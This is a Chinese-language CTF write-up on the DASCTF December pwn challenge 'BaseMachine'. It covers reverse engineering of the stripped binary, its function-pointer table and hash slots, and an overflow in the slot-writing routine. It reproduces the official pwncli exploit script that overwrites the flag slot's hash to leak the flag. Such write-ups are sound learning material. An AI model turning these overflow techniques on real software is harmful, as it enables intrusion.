前言
本次 DASCTF
12 月赛尝试了 pwn 方向的两道题目,最终还是如愿以偿的爆零了。首先看到题目我就有种陌生的感觉,给定程序是去掉调试符号的,并且有多个函数,大大降低了可读性,和我先前遇见的题目有不小的区别。
BaseMachine
checksec
保护全开
逆向分析
main
读入 ./flag
后传入
sub_3990
,图中的乱码是表情,是 IDA 的编码问题。后面是循环读入用户输入,同样传入
sub_3990
。
进入 sub_3990
继续分析:
v9
根据传入的参数 a1
, a2
决定程序后续流程,具体是编码类型 (base64, base85...)。
有意思的是,程序将字符串的加解密流程放在在 _data
,即数据段中。
1 v10 = ((__int64 (__fastcall *)(char *, const char *))*(&off_7260 + v8))(s, a3);
1 2 3 4 5 6 7 8 9 10 .data:0000000000007260 off_7260 dq offset sub_1D6A ; DATA XREF: sub_3990+155↑o .data:0000000000007260 ; sub_3990+1C8↑o .data:0000000000007268 dq offset sub_1ED6 .data:0000000000007270 dq offset sub_22B2 .data:0000000000007278 dq offset sub_27D4 .data:0000000000007280 dq offset sub_2B94 .data:0000000000007288 dq offset sub_2E17 .data:0000000000007290 dq offset sub_3498 .data:0000000000007290 _data ends .data:0000000000007290
这涉及到 C 语言中函数指针 的概念:
函数指针是一个指向函数的指针 变量,如:
具有两个整型参数,返回值是整型。
如下代码实现了通过函数指针调用函数:
1 2 3 4 5 6 7 int maxValue (int a, int b) { return a > b ? a : b; } int (*p)(int , int ) = NULL ;p = maxValue; p (1 , 2 );
而题目程序中就是通过类似这样的函数指针数组实现的。
接着,根据与 unk_73C0
中的数据比较这一功能可以(应该?)推测是在计算哈希
wp 中指出这是在计算 SHA256
如果没有找到相同的,就使用新的槽位:
选择最先或未使用的槽位,覆盖该槽位存储的数据
存、读取哈希和密文部分:
解密、输出部分:
是否输出由传入参数 a4
决定
Vulnerabilities
与 unk_73C0
读写有关的函数 sub_37A4
中存在溢出漏洞
数组只能储存 0-5
unk_73c0
将编码类型和明文写入对应位置
攻击流程
以下为官方 wp 思路。
寻找具有 'b85' 开头 SHA256 值的字符串,将 flag 槽位上的哈希修改为这个值。具体实现如下(来自官方 wp):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwncli import *context.terminal = ["tmux" , "splitw" , "-h" , "-l" , "122" ] local_flag = sys.argv[1 ] if len (sys.argv) == 2 else 0 if local_flag == "remote" : addr = '' host = addr.split(' ' ) gift.io = remote(host[0 ], host[1 ]) gift.remote = True else : gift.io = process('./BaseMachine' ) if local_flag == "nodbg" : gift.remote = True init_x64_context(gift.io, gift) libc = load_libc() gift.elf = ELF('./BaseMachine' ) cmd = ''' c ''' for i in range (3 ): sla("🫠🫠🫠" , 'plain b64 ' + str (i)) launch_gdb(cmd) sla("🫠🫠🫠" , b'plain b85 ' + b'aaaa' * 10 + b'a' ) ru("😍😍😍 " ) data = ru(b'\n' , drop=True ) pad1 = data[0 :5 ] pad2 = data[-5 :] for i in range (1 , 8 ): sla("🫠🫠🫠" , b'b85 plain ' + b'09ba8fe72a1a7755d30eb9f16d4337774beab47a9d59d51a659c8ea8ce888aaaa' + pad1 * i + pad2 + pad1 * (10 - i)) sla("🫠🫠🫠" , b'plain b64 6eU' ) ru("😍😍😍 " ) flag = ru(b'\n' , drop=True ) sla("🫠🫠🫠" , b'b64 plain ' + flag) ia()
总结
这题的作者可见对编码非常熟悉,目前我还没有对 base 系列有一个太清晰的了解。最多知道它大概的原理,或者仿写加解密的代码之类的。以后有空我会尝试手搓一下各种 base 的加解密的(之前接触 base 是 hgame-mini
2024 上的一道逆向题 ——base emoji)。另外对代码的阅读能力也有待提升。